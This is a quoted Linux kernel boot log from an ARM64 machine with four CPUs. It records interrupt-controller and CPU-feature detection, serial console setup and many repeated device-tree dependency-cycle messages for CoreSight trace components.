> [ 0.000000] GICv3: CPU0: found redistributor 0 region 0:0x0000801000300000
> [ 0.000000] ITS [mem 0x801000040000-0x80100007ffff]
> [ 0.000000] ITS@0x0000801000040000: Single VMOVP capable
> [ 0.000000] ITS@0x0000801000040000: Using GICv4.1 mode 00000000 00000001
> [ 0.000000] ITS@0x0000801000040000: allocated 8192 Devices @100190000 (indirect, esz 8, psz 64K, shr 1)
> [ 0.000000] ITS@0x0000801000040000: allocated 32768 Interrupt Collections @1001a0000 (flat, esz 2, psz 64K, shr 1)
> [ 0.000000] ITS@0x0000801000040000: allocated 8192 Virtual CPUs @1001b0000 (flat, esz 8, psz 64K, shr 1)
> [ 0.000000] GICv3: using LPI property table @0x00000001001c0000
> [ 0.000000] ITS: Using DirectLPI for VPE invalidation
> [ 0.000000] ITS: Enabling GICv4 support
> [ 0.000000] GICv3: CPU0: using allocated LPI pending table @0x00000001001d0000
> [ 0.000000] rcu: srcu_init: Setting srcu_struct sizes based on contention.
> [ 0.000000] arch_timer: cp15 timer running at 1000.00MHz (phys).
> [ 0.000000] clocksource: arch_sys_counter: mask: 0x1fffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns
> [ 0.000000] sched_clock: 61 bits at 1000MHz, resolution 1ns, wraps every 4398046511103ns
> [ 0.008824] Console: colour dummy device 80x25
> [ 0.013412] Calibrating delay loop (skipped), value calculated using timer frequency.. 2000.00 BogoMIPS (lpj=4000000)
> [ 0.024292] pid_max: default: 32768 minimum: 301
> [ 0.029143] Mount-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
> [ 0.037114] Mountpoint-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
> [ 0.045599] VFS: Finished mounting rootfs on nullfs
> [ 0.051803] rcu: Hierarchical SRCU implementation.
> [ 0.056715] rcu: Max phase no-delay instances is 1000.
> [ 0.062106] Timer migration: 2 hierarchy levels; 8 children per group; 2 crossnode level
> [ 0.071059] EFI services will not be available.
> [ 0.075859] smp: Bringing up secondary CPUs ...
> [ 0.080667] Detected PIPT I-cache on CPU1
> [ 0.080768] GICv3: CPU1: found redistributor 10000 region 0:0x0000801000400000
> [ 0.080776] GICv3: CPU1: using allocated LPI pending table @0x00000001001e0000
> [ 0.080790] CPU1: Booted secondary processor 0x0000010000 [0x410fd490]
> [ 0.080975] Detected PIPT I-cache on CPU2
> [ 0.081094] GICv3: CPU2: found redistributor 20000 region 0:0x00008010002c0000
> [ 0.081102] GICv3: CPU2: using allocated LPI pending table @0x00000001001f0000
> [ 0.081119] CPU2: Booted secondary processor 0x0000020000 [0x410fd490]
> [ 0.081292] Detected PIPT I-cache on CPU3
> [ 0.081406] GICv3: CPU3: found redistributor 30000 region 0:0x00008010003c0000
> [ 0.081414] GICv3: CPU3: using allocated LPI pending table @0x0000000100200000
> [ 0.081429] CPU3: Booted secondary processor 0x0000030000 [0x410fd490]
> [ 0.081484] smp: Brought up 1 node, 4 CPUs
> [ 0.162491] SMP: Total of 4 processors activated.
> [ 0.167309] CPU: All CPU(s) started at EL2
> [ 0.171508] CPU features: detected: Branch Target Identification
> [ 0.177662] CPU features: detected: 32-bit EL0 Support
> [ 0.182928] CPU features: detected: ARMv8.4 Translation Table Level
> [ 0.189360] CPU features: detected: Instruction cache invalidation not required for I/D coherence
> [ 0.198458] CPU features: detected: Data cache clean to the PoU not required for I/D coherence
> [ 0.207294] CPU features: detected: Common not Private translations
> [ 0.213718] CPU features: detected: CRC32 instructions
> [ 0.218988] CPU features: detected: Data independent timing control (DIT)
> [ 0.225948] CPU features: detected: E0PD
> [ 0.229965] CPU features: detected: Enhanced Virtualization Traps
> [ 0.236212] CPU features: detected: Generic authentication (architected QARMA5 algorithm)
> [ 0.244597] CPU features: detected: RCpc load-acquire (LDAPR)
> [ 0.250485] CPU features: detected: LSE atomic instructions
> [ 0.256195] CPU features: detected: Privileged Access Never
> [ 0.261909] CPU features: detected: PMUv3
> [ 0.266016] CPU features: detected: RAS Extension Support
> [ 0.271546] CPU features: detected: RASv1p1 Extension Support
> [ 0.277436] CPU features: detected: Random Number Generator
> [ 0.283149] CPU features: detected: Speculation barrier (SB)
> [ 0.288948] CPU features: detected: Stage-2 Force Write-Back
> [ 0.294747] CPU features: detected: TLB range maintenance instructions
> [ 0.301434] CPU features: detected: XNX
> [ 0.305360] CPU features: detected: Memory Partitioning And Monitoring
> [ 0.312051] CPU features: detected: Memory Partitioning And Monitoring Virtualisation
> [ 0.320084] CPU features: detected: Speculative Store Bypassing Safe (SSBS)
> [ 0.327226] CPU features: detected: Scalable Vector Extension
> [ 0.333130] alternatives: applying system-wide alternatives
> [ 0.340934] CPU features: detected: Activity Monitors Unit (AMU) on CPU0-3
> [ 0.347987] CPU features: detected: ICV_DIR_EL1 trapping
> [ 0.353427] CPU features: detected: Hardware dirty bit management on CPU0-3
> [ 0.360573] SVE: maximum available vector length 16 bytes per vector
> [ 0.367087] SVE: default vector length 16 bytes per vector
> [ 0.372797] Memory: 40751340K/41741300K available (18816K kernel code, 3702K rwdata, 11164K rodata, 9856K init, 547K bss, 948376K reserved, 32768K cma-reserved)
> [ 0.388282] devtmpfs: initialized
> [ 0.395060] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
> [ 0.405066] posixtimers hash table entries: 16384 (order: 6, 262144 bytes, linear)
> [ 0.412927] futex hash table entries: 8192 (524288 bytes on 1 NUMA nodes, total 512 KiB, linear).
> [ 0.422117] 2G module region forced by RANDOMIZE_MODULE_REGION_FULL
> [ 0.428536] 0 pages in range for non-PLT usage
> [ 0.428537] 513200 pages in range for PLT usage
> [ 0.433389] DMI not present or invalid.
> [ 0.442590] NET: Registered PF_NETLINK/PF_ROUTE protocol family
> [ 0.448895] DMA: preallocated 4096 KiB GFP_KERNEL pool for atomic allocations
> [ 0.456302] DMA: preallocated 4096 KiB GFP_KERNEL|GFP_DMA pool for atomic allocations
> [ 0.464339] audit: initializing netlink subsys (disabled)
> [ 0.469924] audit: type=2000 audit(0.284:1): state=initialized audit_enabled=0 res=1
> [ 0.470624] thermal_sys: Registered thermal governor 'step_wise'
> [ 0.477866] thermal_sys: Registered thermal governor 'power_allocator'
> [ 0.484046] cpuidle: using governor menu
> [ 0.494790] hw-breakpoint: found 6 breakpoint and 4 watchpoint registers.
> [ 0.501772] ASID allocator initialised with 65536 entries
> [ 0.507540] Serial: AMBA PL011 UART driver
> [ 0.512127] sdei: SDEIv1.0 (0x0) detected in firmware.
> [ 0.519071] /soc@0/ete0: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 0.526676] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.534713] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/ete0
> [ 0.542308] /soc@0/ete1: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 0.549907] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.557940] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/ete1
> [ 0.565541] /soc@0/ete2: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 0.573143] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.581173] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/ete2
> [ 0.588773] /soc@0/ete3: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 0.596371] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.604393] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/ete3
> [ 0.611987] /soc@0/ete4: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 0.619592] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.627625] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/ete4
> [ 0.635231] /soc@0/ete5: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 0.642823] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.650857] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/ete5
> [ 0.658459] /soc@0/ete6: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 0.666057] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.674091] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/ete6
> [ 0.681688] /soc@0/ete7: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 0.689290] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.697320] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/ete7
> [ 0.704919] /soc@0/ete8: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 0.712519] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.720549] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/ete8
> [ 0.728152] /soc@0/ete9: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 0.735751] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.743781] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/ete9
> [ 0.751383] /soc@0/ete10: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 0.759166] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.767288] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/ete10
> [ 0.775072] /soc@0/ete11: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 0.782849] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.790967] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/ete11
> [ 0.798747] /soc@0/ete12: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 0.806524] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.814640] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/ete12
> [ 0.822415] /soc@0/ete13: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 0.830184] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.838309] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/ete13
> [ 0.846089] /soc@0/ete14: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 0.853872] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.861996] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/ete14
> [ 0.869775] /soc@0/ete15: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 0.877555] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.885676] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/ete15
> [ 0.893451] /soc@0/ete16: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 0.901228] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.909344] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/ete16
> [ 0.917117] /soc@0/ete17: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 0.924890] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.933012] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/ete17
> [ 0.940794] /soc@0/ete18: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 0.948570] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.956685] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/ete18
> [ 0.964463] /soc@0/ete19: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 0.972240] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 0.980361] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/ete19
> [ 0.988139] /soc@0/ete20: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 0.995916] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.004034] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/ete20
> [ 1.011809] /soc@0/ete21: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.019581] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.027705] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/ete21
> [ 1.035482] /soc@0/ete22: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.043256] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.051377] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/ete22
> [ 1.059157] /soc@0/ete23: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.066936] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.075058] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/ete23
> [ 1.082822] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.090944] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.099069] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.107188] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.115301] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.123422] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.131542] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.139660] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.147775] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.155899] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.164015] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.172140] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.180257] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.188377] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.196499] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.204535] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.212565] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.220599] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.228632] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.236667] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.244696] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.252728] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.260759] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.268791] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.276825] /soc@0/st_funnel: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.285044] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/sh_etr@87a100060000
> [ 1.294160] /soc@0/sh_etf@87a100050000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.302383] /soc@0/sh_etr@87a100060000: Fixed dependency cycle(s) with /soc@0/sh_etf@87a100050000
> [ 1.311751] 87e028000000.serial: ttyAMA0 at MMIO 0x87e028000000 (irq = 14, base_baud = 0) is a PL011 rev3
> [ 1.321574] printk: console [ttyAMA0] enabled
> [ 1.321574] printk: console [ttyAMA0] enabled
> [ 1.330392] printk: legacy bootconsole [pl11] disabled
> [ 1.330392] printk: legacy bootconsole [pl11] disabled
> [ 1.345945] 87e029000000.serial: ttyAMA1 at MMIO 0x87e029000000 (irq = 15, base_baud = 0) is a PL011 rev3
> [ 1.346114] 87e02a000000.serial: ttyAMA2 at MMIO 0x87e02a000000 (irq = 16, base_baud = 0) is a PL011 rev3
> [ 1.346245] 87e02b000000.serial: ttyAMA3 at MMIO 0x87e02b000000 (irq = 17, base_baud = 0) is a PL011 rev3
> [ 1.346369] 87e02c000000.serial: ttyAMA4 at MMIO 0x87e02c000000 (irq = 18, base_baud = 0) is a PL011 rev3
> [ 1.346496] 87e02d000000.serial: ttyAMA5 at MMIO 0x87e02d000000 (irq = 19, base_baud = 0) is a PL011 rev3
> [ 1.346620] 87e02e000000.serial: ttyAMA6 at MMIO 0x87e02e000000 (irq = 20, base_baud = 0) is a PL011 rev3
> [ 1.346740] 87e02f000000.serial: ttyAMA7 at MMIO 0x87e02f000000 (irq = 21, base_baud = 0) is a PL011 rev3
> [ 1.347147] /soc@0/ete0: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.347223] /soc@0/ete0: Fixed dependency cycle(s) with /soc@0/etf0@87a004010000
> [ 1.347254] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.347256] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/ete0
> [ 1.347356] /soc@0/ete1: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.347430] /soc@0/ete1: Fixed dependency cycle(s) with /soc@0/etf1@87a004110000
> [ 1.347458] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.347461] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/ete1
> [ 1.347559] /soc@0/ete2: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.347631] /soc@0/ete2: Fixed dependency cycle(s) with /soc@0/etf2@87a004210000
> [ 1.347658] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.347660] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/ete2
> [ 1.347753] /soc@0/ete3: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.347826] /soc@0/ete3: Fixed dependency cycle(s) with /soc@0/etf3@87a004310000
> [ 1.347851] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.347854] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/ete3
> [ 1.347943] /soc@0/ete4: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.348013] /soc@0/ete4: Fixed dependency cycle(s) with /soc@0/etf4@87a004410000
> [ 1.348038] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.348040] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/ete4
> [ 1.350344] /soc@0/ete5: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.350417] /soc@0/ete5: Fixed dependency cycle(s) with /soc@0/etf5@87a004510000
> [ 1.350444] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.350446] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/ete5
> [ 1.352758] /soc@0/ete6: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.352833] /soc@0/ete6: Fixed dependency cycle(s) with /soc@0/etf6@87a004610000
> [ 1.352857] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.352859] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/ete6
> [ 1.355140] /soc@0/ete7: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.355210] /soc@0/ete7: Fixed dependency cycle(s) with /soc@0/etf7@87a004710000
> [ 1.355234] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.355237] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/ete7
> [ 1.357542] /soc@0/ete8: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.357612] /soc@0/ete8: Fixed dependency cycle(s) with /soc@0/etf8@87a004810000
> [ 1.357635] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.357638] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/ete8
> [ 1.359943] /soc@0/ete9: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.360013] /soc@0/ete9: Fixed dependency cycle(s) with /soc@0/etf9@87a004910000
> [ 1.360036] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.360038] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/ete9
> [ 1.362341] /soc@0/ete10: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.362410] /soc@0/ete10: Fixed dependency cycle(s) with /soc@0/etf10@87a004a10000
> [ 1.362435] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.362437] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/ete10
> [ 1.364712] /soc@0/ete11: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.364780] /soc@0/ete11: Fixed dependency cycle(s) with /soc@0/etf11@87a004b10000
> [ 1.364802] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.364804] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/ete11
> [ 1.367129] /soc@0/ete12: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.367200] /soc@0/ete12: Fixed dependency cycle(s) with /soc@0/etf12@87a004c10000
> [ 1.367223] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.367225] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/ete12
> [ 1.369528] /soc@0/ete13: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.369595] /soc@0/ete13: Fixed dependency cycle(s) with /soc@0/etf13@87a004d10000
> [ 1.369617] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.369619] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/ete13
> [ 1.371908] /soc@0/ete14: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.371974] /soc@0/ete14: Fixed dependency cycle(s) with /soc@0/etf14@87a004e10000
> [ 1.371995] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.371997] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/ete14
> [ 1.374293] /soc@0/ete15: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.374366] /soc@0/ete15: Fixed dependency cycle(s) with /soc@0/etf15@87a004f10000
> [ 1.374389] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.374392] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/ete15
> [ 1.376712] /soc@0/ete16: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.376779] /soc@0/ete16: Fixed dependency cycle(s) with /soc@0/etf16@87a005010000
> [ 1.376800] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.376802] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/ete16
> [ 1.379097] /soc@0/ete17: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.379163] /soc@0/ete17: Fixed dependency cycle(s) with /soc@0/etf17@87a005110000
> [ 1.379183] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.379185] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/ete17
> [ 1.381488] /soc@0/ete18: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.381559] /soc@0/ete18: Fixed dependency cycle(s) with /soc@0/etf18@87a005210000
> [ 1.381578] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.381581] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/ete18
> [ 1.383865] /soc@0/ete19: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.383931] /soc@0/ete19: Fixed dependency cycle(s) with /soc@0/etf19@87a005310000
> [ 1.383950] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.383953] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/ete19
> [ 1.386260] /soc@0/ete20: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.386332] /soc@0/ete20: Fixed dependency cycle(s) with /soc@0/etf20@87a005410000
> [ 1.386352] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.386354] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/ete20
> [ 1.388655] /soc@0/ete21: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.388720] /soc@0/ete21: Fixed dependency cycle(s) with /soc@0/etf21@87a005510000
> [ 1.388738] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.388741] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/ete21
> [ 1.391046] /soc@0/ete22: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.391115] /soc@0/ete22: Fixed dependency cycle(s) with /soc@0/etf22@87a005610000
> [ 1.391133] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.391136] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/ete22
> [ 1.393404] /soc@0/ete23: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.393468] /soc@0/ete23: Fixed dependency cycle(s) with /soc@0/etf23@87a005710000
> [ 1.393491] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.393494] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/ete23
> [ 1.395820] /soc@0/etf23@87a005710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395838] /soc@0/etf22@87a005610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395856] /soc@0/etf21@87a005510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395873] /soc@0/etf20@87a005410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395893] /soc@0/etf19@87a005310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395910] /soc@0/etf18@87a005210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395927] /soc@0/etf17@87a005110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395944] /soc@0/etf16@87a005010000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395961] /soc@0/etf15@87a004f10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395980] /soc@0/etf14@87a004e10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.395998] /soc@0/etf13@87a004d10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396014] /soc@0/etf12@87a004c10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396031] /soc@0/etf11@87a004b10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396048] /soc@0/etf10@87a004a10000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396066] /soc@0/etf9@87a004910000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396083] /soc@0/etf8@87a004810000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396100] /soc@0/etf7@87a004710000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396117] /soc@0/etf6@87a004610000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396134] /soc@0/etf5@87a004510000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396152] /soc@0/etf4@87a004410000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396168] /soc@0/etf3@87a004310000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396185] /soc@0/etf2@87a004210000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396204] /soc@0/etf1@87a004110000: Fixed dependency cycle(s) with /soc@0/st_funnel
> [ 1.396220] /soc@0/etf0@87a004010000: Fixed dependency cycle(s) with /soc@0/st_funnel
